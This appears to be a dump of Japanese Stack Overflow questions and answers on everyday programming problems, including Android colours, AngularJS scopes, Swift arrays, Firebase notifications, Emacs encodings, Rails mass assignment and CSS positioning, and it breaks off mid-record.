"post_type": "question",
"score": 0,
"tags": [
"android"
],
"title": "アプリ実行時に設定した色が再現されない",
"view_count": 695
} | [
{
"body": "可能であれば実装しようとしているコードを提示されるとより良い回答が得られるかもしれません。\n\nレイアウトファイル上で設定したいのであれば、以下のように指定することで可能です。\n\n```\n\n <TextView\n android:id=\"@+id/textview\"\n android:layout_width=\"fill_parent\"\n android:layout_height=\"wrap_content\"\n android:textColor=\"@color/*1\" />\n \n```\n\nプログラム上で設定したいのであれば、以下で指定することが可能です。\n\n```\n\n int colorValue = getResources().getColor(R.color.*1);\n textView.setTextColor(colorValue);\n \n```\n\n*1 color.xmlで定義されたリソース名\n\n* * *\n\n追記\n\nAPI Level 23ではgetColor(int)は非推奨メソッドとなっていました。 \n<https://developer.android.com/reference/android/content/res/Resources.html#getColor(int)>\n\nAPIリファレンスにはgetColor(int, Resources.Theme)を使用するように記載されています。 \nそのため、API Level 23以降で使用される場合は、getColor(int, Resources.Theme)を使用したほうが良いようです。 \n<https://developer.android.com/reference/android/content/res/Resources.html#getColor(int,%20android.content.res.Resources.Theme)> \nResources.ThemeはActivityが継承しているContextThemeWrapperにgetTheme()というAPIがありました。\n\n```\n\n int colorValue = -1;\n if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {\n colorValue = getResources().getColor(R.color.*1, getTheme());\n }else {\n colorValue = getResources().getColor(R.color.*1);\n }\n textView.setTextColor(colorValue);\n \n```",
"comment_count": 3,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T08:57:32.703",
"id": "31978",
"last_activity_date": "2017-01-24T01:55:31.710",
"last_edit_date": "2017-01-24T01:55:31.710",
"last_editor_user_id": "20272",
"owner_user_id": "20272",
"parent_id": "31977",
"post_type": "answer",
"score": 1
}
]
| 31977 | 31978 | 31978 |
{
"accepted_answer_id": "32001",
"answer_count": 1,
"body": "開発環境は \nAngular1.5 \nAngularBootstrap \nTypeScript \nです。\n\nAngularbootstrapのDatepickerPopupをディレクティブでラップしています。 \nカスタムディレクティブで展開したHTMLから、 \nng-clickで隔離スコープのbooleanを切り替えるだけのスコープ内関数を呼び出します。\n\n```\n\n this.scope = {};\n this.templateUrl = \"<div ng-include='uri'></div>\";\n this.link = (scope: IExtendedScope) => {\n scope.toggle = () => {\n scope.show = !scope.show;\n };\n scope.show = false;\n }\n \n```\n\nhoge.html\n\n```\n\n is-open=\"show\" datepicker-open=\"show\" ng-click=\"toggle()\"\n \n```\n\n隔離スコープのbooleanで表示、非表示を切り替えますが、AngularBootstrapのDatepickerPopupの機能で、ポップアップの外をクリックしても非表示になります。\n\nこのとき、隔離スコープのパラメータはfalse(ポップアップ非表示)になりますが、それ以降クリックすると、 \nパラメータ\"show\"は切り替わりますがポップアップは非表示のままとなります。\n\nただ、\n\n```\n\n ng-click=\"show=!show\"\n \n```\n\nとすることで、表示、非表示が行えるようになります。\n\n上記事象について、詳しくわかる方がいたら何が起きているのか教えてください。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T09:10:36.210",
"favorite_count": 0,
"id": "31980",
"last_activity_date": "2017-01-23T13:13:07.987",
"last_edit_date": "2017-01-23T13:13:07.987",
"last_editor_user_id": "8396",
"owner_user_id": "8396",
"post_type": "question",
"score": 0,
"tags": [
"angularjs",
"bootstrap",
"typescript"
],
"title": "隔離スコープのパラメータが同期されない",
"view_count": 102
} | [
{
"body": "詳細がわからないため推測になりますが、以下のどちらかではないでしょうか。\n\n 1. 異なるスコープでshowが定義されており、scope.toggleによる切り替えで期待したスコープのshowの値が変更されていない\n 2. DatepickerのshortcutPropagationの設定が考慮されていない\n\n補足: \n1.については作成されているカスタムディレクティブなどの詳細情報を追記されると原因がわかるかもしれません。 \n2.はBootstrapの[Datapickerのページ](https://angular-\nui.github.io/bootstrap/#/datepicker)を参照してください。 \nクリックイベントが伝播されて表示/非表示の処理が連続して実行されている可能性があります。",
"comment_count": 2,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T02:07:48.660",
"id": "32001",
"last_activity_date": "2017-01-20T07:44:45.743",
"last_edit_date": "2017-01-20T07:44:45.743",
"last_editor_user_id": "20272",
"owner_user_id": "20272",
"parent_id": "31980",
"post_type": "answer",
"score": 1
}
]
| 31980 | 32001 | 32001 |
{
"accepted_answer_id": "31985",
"answer_count": 1,
"body": "メモリ解放アプリを、作成している所なのですが、 \niOS側のプロセス一覧を取得する事ができず。 \nバックグラウンド起動しているアプリを取得してkillする事も出来ません。\n\nmallocで、大容量を確保し解放することでメモリ解放アプリは出来ているのでしょうか。\n\n調査しても見つけることが出来ない状態のため、御教授願えませんでしょうか。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T10:27:32.783",
"favorite_count": 0,
"id": "31983",
"last_activity_date": "2017-01-19T11:40:04.560",
"last_edit_date": "2017-01-19T11:40:04.560",
"last_editor_user_id": "754",
"owner_user_id": "20298",
"post_type": "question",
"score": 1,
"tags": [
"ios",
"objective-c"
],
"title": "メモリ解放アプリの仕組みについて",
"view_count": 1341
} | [
{
"body": "自プロセス以外のアプリをkillすることは、通常アプリでは不可能となります。\n\n自プロセスが大量のメモリを確保し全体のメモリを圧迫することによりlauncherdによるkillが走るので、その後すぐに開放すれば一応メモリ解放アプリと言えなくもありません。\n\nその際はlaunchdやSpringBoardにより以下のようなログが出るはずです。 \ncom.apple.launchd[1] (UIKitApplication:com.example.MyApp[0x1234][123]) :\n(UIKitApplication:com.example.MyApp[0x1234]) Exited: Killed\n\nSpringBoard[30] : Application 'MyApp' exited abnormally with signal 9: Killed:\n9\n\nAndroidでも似たようなアプリがたくさんあり、似たような仕組みでやっているのですが、、、 \nただ、この方法で解放されるメモリは不要メモリクリーンしているというよりは、 \nバックグラウンドアプリを単にKillしているだけ=元々解放されても良いメモリ \nですので \nこのアプリを実行したおかげでメモリが多く使える、ということはありません。 \nこのアプリを実行してもしなくても、別契機でメモリが必要になったら上記メモリが解放されるためです。 \n数値上の満足感以外にはメリットはないと思います。 \n(むしろバックグラウンドアプリがKillされることにより、該当アプリの再表示に時間がかかります。)",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T11:17:44.823",
"id": "31985",
"last_activity_date": "2017-01-19T11:26:38.763",
"last_edit_date": "2017-01-19T11:26:38.763",
"last_editor_user_id": "19716",
"owner_user_id": "19716",
"parent_id": "31983",
"post_type": "answer",
"score": 4
}
]
| 31983 | 31985 | 31985 |
{
"accepted_answer_id": null,
"answer_count": 2,
"body": "JS/GAS ともに超初心者です。\n\nGASを使って「Amazonの商品レビューの数を定期的に取得し、レビュー数に変化があったらメールを送る」という機能を実現したいです。\n\nあらかじめスプレッドシートに商品名、URL、レビュー数を入力しておきます。 \nチェックする商品はすでにレビューが1つ以上ついているものとします。\n\n以下のようなコードを書きましたが、うまく動くときと動かないときがあります。 \nときどき取得してくるレビュー数がゼロになってしまうようで、ゼロになったとメールが送られ、スプレッドシートのレビュー欄が空白になっています。 \nその後正しいレビュー数を取得してまたメールが送られます。\n\n```\n\n function myFunction() {\n \n var sheet = SpreadsheetApp.getActiveSheet();\n \n var product = sheet.getRange(1,1).getValue();\n var URL = sheet.getRange(1,2).getValue();\n var review = sheet.getRange(1,3).getValue();\n \n var response = UrlFetchApp.fetch( URL );\n var htmlstr = response.getContentText();\n \n // レビューの数を取得\n var myReg = RegExp( /(\\d\\d?)件のカスタマーレビュー/ );\n var result = htmlstr.match(myReg);\n var new_review = RegExp.$1;\n \n // レビュー数が変化していたらメールを送る\n if( new_review != review){\n MailApp.sendEmail(\n \"*******@****.com\",\n model + \"のレビュー数が変わりました。\",\n URL + \"\\n\" + product + \"のレビュー数が[\" + review + \"]から[\" + new_review + \"]に変化しました。\"\n );\n // レビュー数を書き換える\n sheet.getRange(1,3).setValue( new_review );\n }\n }\n \n```\n\nAmazon側のレスポンスが悪くレビュー数がきちんと取得できていないのでしょうか。\n\nなお、実際にはforループで複数の商品をチェックしていますが、問題の解決に必要だと思うところだけを抜き出して書き直しました。\n\nよろしくお願いします。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T11:57:27.723",
"favorite_count": 0,
"id": "31986",
"last_activity_date": "2022-01-20T17:06:00.627",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20300",
"post_type": "question",
"score": 1,
"tags": [
"google-apps-script"
],
"title": "GASでAmazonのレビュー数を取得したい",
"view_count": 1323
} | [
{
"body": "いくつか追加情報が必要と思われます。\n\n * レビュー数がゼロになった場合にはエラーが発生するのでしょうか。それとも何らかの情報があるのでしょうか。レビュー数がゼロになった際に回収したhtmlのデータが分かると解決法につながるかと思いました。\n\n * レビュー数がゼロになった場合、チェックされている複数商品の中で一部がゼロになるのでしょうか、それとも全てがゼロになるのでしょうか。\n\n * スクリプトはどのようなトリガーで動作させているのでしょうか。\n\nレビュー数がゼロになった際の状況が不明だったためテストはできていないのですが、getActiveSheet()メソッドを使用せずに下記のように直接シートIDを指定するという方法はいかがでしょうか。\n\n```\n\n var ss = SpreadsheetApp.openById('シートID');\n \n```\n\nスクリプトの実行内容には違いがあるかと思いますが、以前、Container-bound\nScriptであってもトリガーで使用する際はgetActiveSheet()ではなく直接シートIDを指定する方がエラーが少ない経験がありましたので、これが解決につながればと思いました。",
"comment_count": 3,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T06:54:31.843",
"id": "32016",
"last_activity_date": "2017-01-20T06:54:31.843",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "19460",
"parent_id": "31986",
"post_type": "answer",
"score": 1
},
{
"body": "> うまく動くときと動かないときがあります。\n\nAmazon はSpreadSheet からのデータダウンロードのアクセスをうまくいったりうまくいかなかったりさせることによって防止しているので \nSpreadSheetのGASでのスクレイピングは現実的ではないと思います。\n\nクライアント側のブラウザ操作させる、そしてそれを何台かのPCに分散させる、みたいなことで実現する方がより効果的に思います。",
"comment_count": 0,
"content_license": "CC BY-SA 4.0",
"creation_date": "2019-05-14T16:28:53.030",
"id": "54953",
"last_activity_date": "2019-05-14T16:28:53.030",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "21047",
"parent_id": "31986",
"post_type": "answer",
"score": 1
}
]
| 31986 | null | 32016 |
{
"accepted_answer_id": "31989",
"answer_count": 1,
"body": "Rails等のWebアプリでCSRFとMass Assignmentの両方に対策する必要があるのでしょうか。 \nCSRF対策さえできてれば、正当なFormからのデータ送信=Mass Assignment対策不要と考えました。Strong\nParametersで全データを無分別にpermitした場合(もちろんCSRF対策は行う)、どんな問題が生じますか。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T12:53:42.137",
"favorite_count": 0,
"id": "31987",
"last_activity_date": "2017-01-19T13:49:02.603",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20302",
"post_type": "question",
"score": 0,
"tags": [
"ruby-on-rails"
],
"title": "RailsでCSRF対策しているのにMass Assignment対策をする意味",
"view_count": 483
} | [
{
"body": "CSRF攻撃は悪意を持った人物がわなを仕掛け、そのわなを踏んだ正規ユーザーに普通のリクエストを送らせるというものです。例えば「リンクを踏むだけで特定の文言がツイートされてしまう」といったものです。ですから、正しいページ遷移かどうかを検証します。\n\n一方 Mass Assignment\nは、ユーザーから送信された値をデータベース等に保存するという処理において、求めていないデータが送られてきても一緒に保存してしまうという問題です。本来ユーザーには書き換えさせない列まで書き換えられてしまいます。\n\nではページ遷移が正しければ、Mass Assignment\nが行われる可能性はないと言えますか?関係ないですよね。正当なFormを開いて、ブラウザの開発者ツールでinputを追加して、送信ボタンを押すだけで Mass\nAssignment を利用した攻撃は成立します。",
"comment_count": 2,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T13:49:02.603",
"id": "31989",
"last_activity_date": "2017-01-19T13:49:02.603",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "8000",
"parent_id": "31987",
"post_type": "answer",
"score": 2
}
]
| 31987 | 31989 | 31989 |
{
"accepted_answer_id": "32002",
"answer_count": 1,
"body": "ターミナルで `npm install -g angular-cli` と打ち込みインストールしました。 \nそして `ng new m` を実行したところ、次のようなエラーが出てきました。\n\n```\n\n /usr/local/lib/node_modules/angular-cli/ember-cli/lib/models/project.js:571\n throw reason;\n ^\n SyntaxError: Unexpected end of JSON input\n at Object.parse (native)\n at Function.Project.closestSync (/usr/local/lib/node_modules/angular-cli/ember-cli/lib/models/project.js:539:16)\n at Function.Project.projectOrnullProject (/usr/local/lib/node_modules/angular-cli/ember-cli/lib/models/project.js:566:20)\n at module.exports (/usr/local/lib/node_modules/angular-cli/ember-cli/lib/cli/index.js:40:25)\n at module.exports (/usr/local/lib/node_modules/angular-cli/lib/cli/index.js:38:10)\n at /usr/local/lib/node_modules/angular-cli/bin/ng:103:5\n at /usr/local/lib/node_modules/angular-cli/node_modules/resolve/lib/async.js:47:14\n at process (/usr/local/lib/node_modules/angular-cli/node_modules/resolve/lib/async.js:174:43)\n at ondir (/usr/local/lib/node_modules/angular-cli/node_modules/resolve/lib/async.js:189:17)\n at load (/usr/local/lib/node_modules/angular-cli/node_modules/resolve/lib/async.js:70:43)\n at onex (/usr/local/lib/node_modules/angular-cli/node_modules/resolve/lib/async.js:93:31)\n at /usr/local/lib/node_modules/angular-cli/node_modules/resolve/lib/async.js:23:47\n at FSReqWrap.oncomplete (fs.js:123:15)\n \n```\n\nもう一度angular-cliを再インストールしてましたが、うまくいきませんでした。 \n解決方法がわかる方がいらしたら教えていただきたいです。 \nよろしくお願いします。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T01:35:15.440",
"favorite_count": 0,
"id": "31998",
"last_activity_date": "2017-01-20T02:47:30.883",
"last_edit_date": "2017-01-20T02:47:30.883",
"last_editor_user_id": "8000",
"owner_user_id": "20248",
"post_type": "question",
"score": 0,
"tags": [
"javascript",
"angularjs"
],
"title": "ng new を実行すると SyntaxError: Unexpected end of JSON input",
"view_count": 668
} | [
{
"body": "プロジェクトを作成されようとしているディレクトリの上位にpackage.jsonファイルが置かれていませんでしょうか? \n一度以下のようなお試しディレクトリを作成し、そこでコマンドを実行してみてください\n\n```\n\n mkdir ~/Tmp\n cd ~/Tmp\n ng new m\n \n```",
"comment_count": 5,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T02:47:13.367",
"id": "32002",
"last_activity_date": "2017-01-20T02:47:13.367",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20272",
"parent_id": "31998",
"post_type": "answer",
"score": 0
}
]
| 31998 | 32002 | 32002 |
{
"accepted_answer_id": "32009",
"answer_count": 1,
"body": "swift初心者です。csvファイルからコンマ区切りで配列に格納したものを、for文を使い2次元配列に格納したいのですが、レンジエラーが出て困っています。2次元配列の宣言の仕方がおかしいのかもしれません...迷宮入りしてます、どなたかご指摘お願いします。\n\n```\n\n override func viewDidLoad() {\n super.viewDidLoad()\n \n func loadDat(){\n var data:[[String]] = [[]]\n do {\n let csvPath = Bundle.main.path(forResource: \"data0112\", ofType: \"csv\")\n let csvData = try String(contentsOfFile:csvPath!, encoding:String.Encoding.utf8)\n let dataList = csvData.components(separatedBy:\",\")\n let a:Int = 31\n var b:Int = 0\n for i in 0...a{\n for j in 0...a{\n data[i][j] = dataList[b]\n b += 1\n }\n }\n } catch {\n print(error)\n }\n }\n loadDat()\n }\n \n override func didReceiveMemoryWarning() {\n super.didReceiveMemoryWarning()\n // Dispose of any resources that can be recreated.\n }\n \n```\n\n[](https://i.stack.imgur.com/Gtqbd.png)",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T01:47:28.580",
"favorite_count": 0,
"id": "32000",
"last_activity_date": "2017-01-24T02:41:55.493",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "19087",
"post_type": "question",
"score": 0,
"tags": [
"swift3"
],
"title": "Index out of rangeエラーが出ます",
"view_count": 5775
} | [
{
"body": "### Arrayの宣言時、要素数を決めて初期化する\n\nまず、`Array`は、このような代入はできません。\n\n```\n\n var array = [1, 2, 3]\n array[3] = 4\n // fatal error: Index out of range\n \n```\n\n要素が3つしかないのに、4番目に代入しようとした、というエラーが出ます。\n\n最初から、`Array`の要素数を決められる場合は、その要素数で、`Array`を初期化します。\n\n```\n\n var array = [Int](repeating: 0, count: 4)\n // [0, 0, 0, 0]\n \n var data = [[String]](repeating: [String](repeating: \"\", count: 32), count: 32)\n \n```\n\n32×32の二次元配列`data`を初期化するには、上のように、初期化も多重にします。 \n`Array`の要素数が当初不定の場合、`append`メソッドを使って、`Array`に要素を追加していきます。\n\n```\n\n var array: [Int] = []\n array.append(100)\n array.append(200)\n // [100, 200]\n \n```\n\n* * *\n\n### 単純ミスで、プログラムをクラッシュさせない\n\n配列`data`の初期化が解決したら、つぎに繰り返し文を見直します。現状では、配列`dataList`の要素数が、32×32よりひとつでも不足すると、やはり「Out\nof range」でクラッシュしてしまいます。繰り返しの回数を、`dataList.count`で終わらせることを考えます。\n\n```\n\n let number = 32\n var data = [[String]](repeating: [String](repeating: \"\", count: number), count: number)\n \n if let csvUrl = Bundle.main.url(forResource: \"data0112\", withExtension: \"csv\") {\n do {\n let csvData = try String(contentsOf: csvUrl)\n let dataList = csvData.components(separatedBy: \",\")\n if dataList.count > number * number {\n // 要素数が、32×32を超える場合、なにかする。\n return\n }\n for (n, item) in dataList.enumerated() {\n data[n / number][n % number] = item\n }\n } catch {\n fatalError(\"Not found CSV files\")\n }\n }\n \n```\n\n`Array`のメソッド`enumerated()`について:これは、インデックスと配列の要素からなるTupleの配列を返します。`for i in\n0..<dataList.count`と書くより、すこしスマートな記述ができます。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T04:36:57.257",
"id": "32009",
"last_activity_date": "2017-01-20T05:22:37.753",
"last_edit_date": "2017-01-20T05:22:37.753",
"last_editor_user_id": "18540",
"owner_user_id": "18540",
"parent_id": "32000",
"post_type": "answer",
"score": 0
}
]
| 32000 | 32009 | 32009 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "Firebase ConsoleのNotificationタブからメッセージを作成して送信を行い、メッセージが受信できることを確認しました。 \n送信するメッセージは、メッセージ文とラベルを指定し、ターゲットをユーザセグメントにしています。 \n<https://gyazo.com/a0d5dd07be0f31e1b3f6da7f0bd56158>\n\nドキュメントにある通り、\n\n * アプリがforegroundにある場合(Activityが表示されている)\n * アプリがbackgroundにある場合(ホームボタンを押してActivityが非表示になった状態)\n\nのとき受信ができました。 \nしかし、アプリを強制停止した場合、通知が受信されません。 \n(強制停止は端末の設定→該当のアプリ→強制停止で行いました) \nその際logcatには以下のエラーメッセージが表示されています。\n\n`W/GCM-DMM: broadcast intent callback: result=CANCELLED forIntent {\nact=com.google.android.c2dm.intent.RECEIVE flg=0x10000000\npkg=jp.gcreate.sample.samplefirebasenotification (has extras) }`\n\nアプリが強制終了されたとしても通知を受け取れるようにするにはどうすればよいのでしょうか?\n\nAndroidManifest.xml\n\n```\n\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n package=\"jp.gcreate.sample.samplefirebasenotification\"\n >\n \n <application\n android:allowBackup=\"true\"\n android:icon=\"@mipmap/ic_launcher\"\n android:label=\"@string/app_name\"\n android:supportsRtl=\"true\"\n android:theme=\"@style/AppTheme\"\n >\n <activity android:name=\".MainActivity\">\n <intent-filter>\n <action android:name=\"android.intent.action.MAIN\" />\n \n <category android:name=\"android.intent.category.LAUNCHER\" />\n </intent-filter>\n </activity>\n <service\n android:name=\".MyFirebaseMessagingService\"\n >\n <intent-filter>\n <action android:name=\"com.google.firebase.MESSAGING_EVENT\"/>\n </intent-filter>\n </service>\n </application>\n \n </manifest>\n \n```\n\nFirebaseMessagingServiceを拡張したクラス\n\n```\n\n public class MyFirebaseMessagingService extends FirebaseMessagingService {\n private static final String TAG = \"FirebaseMessage\";\n \n @Override\n public void onMessageReceived(RemoteMessage remoteMessage) {\n super.onMessageReceived(remoteMessage);\n \n Log.d(TAG, \"onMessageReceived: \" + remoteMessage);\n \n if (remoteMessage.getNotification() != null) {\n Log.d(TAG, \"Message Notification Body: \" + remoteMessage.getNotification().getBody());\n RemoteMessage.Notification notification = remoteMessage.getNotification();\n NotificationCompat.Builder builder = new NotificationCompat.Builder(this);\n builder.setContentText(notification.getBody())\n .setContentTitle(notification.getTitle())\n .setSmallIcon(R.mipmap.ic_launcher);\n NotificationManagerCompat managerCompat = NotificationManagerCompat.from(this);\n managerCompat.notify(0, builder.build());\n }\n }\n }\n \n```",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T03:10:44.413",
"favorite_count": 0,
"id": "32006",
"last_activity_date": "2018-03-25T11:14:53.403",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "9498",
"post_type": "question",
"score": 2,
"tags": [
"android",
"firebase"
],
"title": "Firebase Notificationでアプリが強制停止された場合でもpush通知を受け取れるようにするにはどうしたらよいか",
"view_count": 4283
} | [
{
"body": "端末は何を使ってますか? \nHuaweiなど一部の端末では保護されたアプリでないと通知を表示しません。\n\n> 設定>詳細設定>バッテリーマネージャー>保護されたアプリ",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-03-16T09:28:55.333",
"id": "33362",
"last_activity_date": "2017-03-16T09:28:55.333",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "21081",
"parent_id": "32006",
"post_type": "answer",
"score": 2
}
]
| 32006 | null | 33362 |
{
"accepted_answer_id": "32020",
"answer_count": 3,
"body": "emacs で、今開いているファイルのエンコーディングを表示したいと考えました。 \n(emacs がそのファイルの読み取りの際に利用したエンコーディング) \nこれは、どうやったら実現できますでしょうか?",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T03:47:24.670",
"favorite_count": 0,
"id": "32007",
"last_activity_date": "2017-01-20T09:59:35.607",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "754",
"post_type": "question",
"score": 0,
"tags": [
"emacs"
],
"title": "emacs で現在の読み込みエンコーディングを表示するには?",
"view_count": 1414
} | [
{
"body": "オイラんちの emacs-23.3.1 (i386-mingw-nt5.1.2600) では\n\n```\n\n (describe-variable 'buffer-file-coding-system)\n \n```\n\nでいけたっぽいです。 \nオイラの作った C# プロジェクトのソースファイルをテキトーに開いた結果、 \nデザイナが自動で作る `Resources.ja-JP.resx` に対しては `utf-8-with-signature-dos` とか \n`cp932` で書いた `Program.cs` に対しては `japanese-shift-jis-dos` とか \nが観測されました。\n\nキー操作なら `M-x describe-variable` の後 `buffer-file-coding-system` っすね。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T05:26:49.923",
"id": "32012",
"last_activity_date": "2017-01-20T05:26:49.923",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "8589",
"parent_id": "32007",
"post_type": "answer",
"score": 1
},
{
"body": "`M-x describe-current-coding-system` はどうでしょうか。 \n現在開いているバッファのエンコーディングなど、Emacsが関わるエンコーディング設定を`*Help*`バッファに一覧表示します。\n\nまた、デフォルトではモードライン左端に現在の文字コード(と改行コード)が表示されています。これを確認するのが手っ取り早いかと思います。\n\n * `-` undecided (ascii)\n * `=` no-conversion (binary)\n * `S` shift_jis\n * `E` euc-jp\n * `J` iso-2022\n * `U` utf-8\n\n[](https://i.stack.imgur.com/D3G8j.png)\n\n試しに`<help> h`でHELLOファイルを開くとスクリーンショットのように表示されます。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T09:13:12.340",
"id": "32020",
"last_activity_date": "2017-01-20T09:13:12.340",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "2391",
"parent_id": "32007",
"post_type": "answer",
"score": 1
},
{
"body": "さらに別解として、`describe-coding-system`ならデフォルトで`C-h C`に割り当てられているのでお手軽です。`Describe\ncoding system:`というプロンプトで空Enterすると、上記の`describe-current-coding-system`が実行されます。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T09:59:35.607",
"id": "32024",
"last_activity_date": "2017-01-20T09:59:35.607",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "4010",
"parent_id": "32007",
"post_type": "answer",
"score": 2
}
]
| 32007 | 32020 | 32024 |
{
"accepted_answer_id": null,
"answer_count": 0,
"body": "CentOS 6.4 にてQt(4.8)によるアプリケーション開発をしています。\n\nアプリケーションを起動させたまま「ログアウト」を行うと、そのままアプリケーションが終了してログアウトになりますが、これを抑止し、Gnomeセッションマネージャより終了確認を行わせる、もしくは、アプリケーションで側で決めた処理を終了させるまでログアウト(とアプリケーション終了)を行わせない、といったことをするには、どのようにすればよいでしょうか。\n\n実現が望ましい優先順位としては、\n\n * セッションマネージャーより、セッション終了の問い合わせが行われる\n * アプリケーション側でexitするまで、ログアウト処理(セッション終了処理)は行われない \nと考えております。\n\n当方で下記を試してみましたが、いずれも意図した挙動(ログアウトの抑止)とはならず、ログアウト実行に伴い確認や抑止等なしでアプリケーションがそのまま終了する挙動になりました。\n\n * SIGHUPとSIGTERMをトラップして、シグナルハンドラでwhile(1)ループを回す。 \n1から64まで、トラップ可能なシグナルを全部トラップしても同様。\n\n * SIGHUPとSIGTERMをSIG_IGNする。 \n1から64まで、無視可能なシグナルを全部無視しても同様。\n\n * アプリケーションのメインウィンドウ(QWidget)のcloseEvent をオーバーライドし、「本当に終了しますか?」という主旨のQMessageBoxを生成し、exec()して終了処理の進行を止める。\n\nQtにはQSessionManagerという仕組みがあるという情報があり、それも試作してみようとしましたが、configure/buildされたライブラリではQSessionManager及びそれに関する処理が全て無効化されておりました。",
"comment_count": 2,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T04:36:08.083",
"favorite_count": 0,
"id": "32008",
"last_activity_date": "2017-01-20T05:01:58.193",
"last_edit_date": "2017-01-20T05:01:58.193",
"last_editor_user_id": "754",
"owner_user_id": "20297",
"post_type": "question",
"score": 0,
"tags": [
"centos",
"qt"
],
"title": "CentOS/Gnome上でのアプリケーションにおける、ログアウト時の確認/ログアウト処理の抑止方法について",
"view_count": 118
} | []
| 32008 | null | null |
{
"accepted_answer_id": "32019",
"answer_count": 3,
"body": "**CSSのposition:relativeを学習しているのですが、下記コードで「left%だけが効いて、top%が効かない」のはなぜでしょうか?** \n・ちなみに、topをpx指定へ変更すると効きます \n※具体的に何をやりたいのか、というのはなく、単に疑問に思ったので質問しました\n\n```\n\n div {\r\n width: 200px;\r\n height: 200px;\r\n }\r\n #t1 {\r\n background-color: gray;\r\n }\r\n #t2 {\r\n position: relative;\r\n top: 50%;\r\n left: 50%;\r\n background-color: orange;\r\n }\n```\n\n```\n\n <body>\r\n <div id=\"t1\"></div>\r\n <div id=\"t2\"></div>\r\n </body>\n```",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T04:57:33.440",
"favorite_count": 0,
"id": "32010",
"last_activity_date": "2017-01-21T13:39:54.790",
"last_edit_date": "2017-01-20T15:38:01.383",
"last_editor_user_id": "3054",
"owner_user_id": "7886",
"post_type": "question",
"score": 1,
"tags": [
"css"
],
"title": "CSSのposition:relativeで、left%だけが効いて、top%が効かないのはなぜ? topをpx指定にすると効きます",
"view_count": 20730
} | [
{
"body": "`position: absolute`を使うべきです。\n\n```\n\n div{\r\n width:200px;\r\n height:200px;\r\n }\r\n #t1{\r\n background-color:gray;\r\n }\r\n #t2{\r\n position:absolute;\r\n top:50%;\r\n left:50%;\r\n background-color:orange;\r\n }\n```\n\n```\n\n <body>\r\n <div id=\"t1\"></div>\r\n <div id=\"t2\"></div>\r\n </body>\n```",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T05:29:20.790",
"id": "32013",
"last_activity_date": "2017-01-20T05:29:20.790",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20309",
"parent_id": "32010",
"post_type": "answer",
"score": 0
},
{
"body": "`<!DOCTYPE html>`などの宣言を行なわない奇癖(互換)モードの HTML では、\n\nchrome :効く \nfirefox :効かない \nIE :効かない\n\nといった状況でした。 \nエンジン毎の解釈の差異かと思いますが([奇癖モードでは `body` の高さが `100vh`\nになり](https://quirks.spec.whatwg.org/#the-html-element-fills-the-viewport-\nquirk))効くのが正解な気がしますね。。。",
"comment_count": 5,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T05:36:02.357",
"id": "32014",
"last_activity_date": "2017-01-20T16:42:23.007",
"last_edit_date": "2017-01-20T16:42:23.007",
"last_editor_user_id": "3054",
"owner_user_id": "19716",
"parent_id": "32010",
"post_type": "answer",
"score": 2
},
{
